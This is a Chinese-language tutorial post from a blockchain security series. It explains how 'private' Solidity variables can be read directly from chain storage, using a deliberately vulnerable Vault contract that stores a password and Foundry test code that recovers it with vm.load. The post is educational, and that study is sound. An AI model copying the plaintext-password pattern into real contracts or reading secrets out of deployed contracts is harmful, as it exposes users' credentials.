区块链安全常见的攻击分析——私有数据泄露 (Private Data Exposure)【7】

区块链安全常见的攻击分析------私有数据泄露 Private Data Exposure【7】

name: 私有数据泄露 (Private Data Exposure)

重点: 变量直接存储在链上,而链上的所有数据(无论是 public 还是 private)都可以被直接读取。因此,用户的密码缺乏安全性,容易被恶意行为者获取。利用vm.load() 或类似的链上存储读取方法,可以直接获取存储数据,从而轻松获取用户的 password。

如果不理解槽位slot可以先学习一下目录里1.5 知识点

1.1 漏洞分析

password直接存储在链上,所有存储在链上的数据(无论是 public 还是 private)都可以被读取。因此,用户的密码并不安全,容易被恶意行为者获取。

1.2 漏洞合约

javascript 复制代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import "forge-std/Test.sol";

/*
名称: 私有数据泄露 (Private Data Exposure)

描述:
Solidity 将合约中定义的变量存储在槽位(slot)中。每个槽位最多可以容纳 32 字节或 256 位。
由于所有存储在链上的数据(无论是 public 还是 private)都可以被读取,因此可以通过预测私有数据在 Vault 合约中的存储槽位,读取其中的私有数据。

如果在生产环境中使用 Vault 合约,恶意行为者可能会使用类似技术访问敏感信息,例如用户密码。

缓解措施:
避免在链上存储敏感数据。

参考:
https://quillaudits.medium.com/accessing-private-data-in-smart-contracts-quillaudits-fe847581ce6d
*/

contract Vault {
    // slot 0
    uint256 private password;

    constructor(uint256 _password) {
        password = _password;
        User memory user = User({id: 0, password: bytes32(_password)});
        users.push(user);
        idToUser[0] = user;
    }

    struct User {
        uint id;
        bytes32 password;
    }

    // slot 1
    User[] public users;
    // slot 2
    mapping(uint => User) public idToUser;

    function getArrayLocation(
        uint slot,
        uint index,
        uint elementSize
    ) public pure returns (bytes32) {
        uint256 a = uint(keccak256(abi.encodePacked(slot))) +
            (index * elementSize);
        return bytes32(a);
    }
}

1.3 攻击分析

通过vm.load()直接获取链上数据

  • 可以获取user数组中user结构体内的password
  • 也可以直接读取 password 存储的槽位 0

结果

1.4 攻击合约

javascript 复制代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import "forge-std/Test.sol";
import "./Privatedata.sol";

contract ContractTest is Test {
    Vault PrivatedataContract;
    address Koko;
    address Aquarius;

    function setUp() public {
        PrivatedataContract = new Vault(211233);
        Koko = vm.addr(1);
        Aquarius = vm.addr(2);
        // vm.deal(address(Koko), 1 ether);
        // vm.deal(address(Aquarius), 1 ether);
    }

    function testPrivatedata() public {
        vm.prank(Koko);
        bytes32 leet = vm.load(
            address(PrivatedataContract),
            bytes32(uint256(0))
        );
        console.log(uint256(leet));

        // users in slot 1 - length of array
        // starting from slot hash(1) - array elements
        // slot where array element is stored = keccak256(slot)) + (index * elementSize)
        // where slot = 1 and elementSize = 2 (1 (uint) +  1 (bytes32))
        bytes32 user = vm.load(
            address(PrivatedataContract),
            PrivatedataContract.getArrayLocation(1, 1, 1)
        );
        console.log(uint256(user));
    }

    function testPasswordSlot() public {
        // 读取 password 存储的槽位 0
        bytes32 password = vm.load(
            address(PrivatedataContract),
            bytes32(uint256(0))
        );
        console.log("Password stored in slot 0:", uint256(password));
    }
}

1.5 知识点:槽位 slot

存储规则:
  1. 状态变量顺序 :
    • 状态变量按其定义顺序依次存储在存储槽(slot)中。
    • 每个槽的大小为 256 位(32 字节)。
    • 如果变量大小小于 256 位(例如 uint128 或 bool),多个变量可能共享一个槽。
  2. 动态数组和映射 :
    • 动态数组和映射本身占用一个槽,存储的是其内容的起始位置的哈希值。
    • 数组元素和映射值存储在独立的哈希槽中。
  3. 结构体 :
    • 结构体的每个成员按顺序分配存储,类似于多个状态变量。
示例存储分析:

假设合约如下:

solidity 复制代码
contract Vault {
    uint256 private password; // slot 0
    struct User {
        uint256 id;          // slot 1 (in storage for arrays/mappings)
        bytes32 password;    // slot 2 (in storage for arrays/mappings)
    }
    User[] public users;      // slot 1 (base slot for dynamic array)
    mapping(uint256 => User) public idToUser; // slot 2 (base slot for mapping)

    constructor(uint256 _password) {
        password = _password;
        User memory user = User({id: 0, password: bytes32(_password)});
        users.push(user); // Stored starting from keccak256(slot 1)
        idToUser[0] = user; // Stored starting from keccak256(0 + slot 2)
    }
}

变量存储位置:
  1. password (slot 0) :
    • 存储在槽位 0,因为它是合约中定义的第一个变量,占用完整的 256 位。
  2. users 动态数组 (slot 1) :
    • 动态数组的起始槽存储在槽位 1。
    • 数组内容从 keccak256(slot 1) 开始的槽位存储。
  3. idToUser 映射 (slot 2) :
    • 映射的基础槽位是 2。
    • 映射中的每个键值对存储在 keccak256(键 + slot 2)。

如何获取槽位数据:
  1. 通过 getStorageAt 读取存储数据: 使用 Solidity 或工具(如 Foundry 的 vm.load)读取指定槽位的数据。

  2. Foundry 示例:

    solidity 复制代码
    contract VaultTest is Test {
        Vault vault;
    
        function setUp() public {
            vault = new Vault(123456);
        }
    
        function testStorage() public {
            // 读取槽位 0 的存储数据
            bytes32 slot0 = vm.load(address(vault), bytes32(uint256(0)));
            console.log("Password (slot 0):", uint256(slot0));
    
            // 读取数组起始槽位 1 的哈希值
            bytes32 arraySlot1 = vm.load(address(vault), bytes32(uint256(1)));
            console.log("Array base slot 1:", arraySlot1);
    
            // 读取映射键 0 的哈希槽
            bytes32 mapSlot = keccak256(abi.encodePacked(uint256(0), uint256(2)));
            bytes32 userInMapping = vm.load(address(vault), mapSlot);
            console.log("Mapping data:", userInMapping);
        }
    }

存储槽位计算:
  1. 单变量 :
    • 按声明顺序从槽位 0 开始。
  2. 动态数组 :
    • 数组本身的基础槽位存储数组长度。
    • 元素从 keccak256(基础槽位) 开始依次存储。
  3. 映射 :
    • 每个键值对的存储槽 = keccak256(abi.encodePacked(键, 映射基础槽位))。
相关推荐
aifannihao14 小时前
ß 大写变 SS:用 Python 算清 Ruby2Shell 的缓冲区账本
python·安全·标准库·缓冲区溢出·字符串编码
CCIE-Yasuo21 小时前
网络安全-PHP基础3
安全·web安全·php
未来之窗软件服务1 天前
API接口安全与合作商业秘密架构-东方仙盟
安全·架构·接口安全·仙盟创梦ide·东方仙盟·终端架构
HMS工业网络2 天前
工业远程访问的五项安全部署原则
运维·服务器·安全
Bczheng12 天前
五十六.网络(6)--广播tx测试
区块链
知白映川2 天前
一个不上传数据的工具,怎么知道自己有没有人用
安全·架构
山东科恩光电2 天前
安全地毯压敏传感技术在自动化产线与仓储区域的人员检测及联动停机防护方案
安全
如夏倾城2 天前
五大远程桌面协议:RDP、SSH、VNC/RFB、Citrix ICA/HDX 与 VMware Blast Extreme
运维·windows·网络协议·安全·自动化·ssh·远程工作
0xBADCODE2 天前
2026 工业互联网安全大赛 · 全国预选赛题解系列密码学方向 crypto-5
网络·安全·web安全·网络安全·系统安全·密码学
Flynt3 天前
Java4Shell 实测:EPYC 一跑就中招,关掉 Base64 硬件加速,1KB 解码慢 14 倍
java·安全·性能优化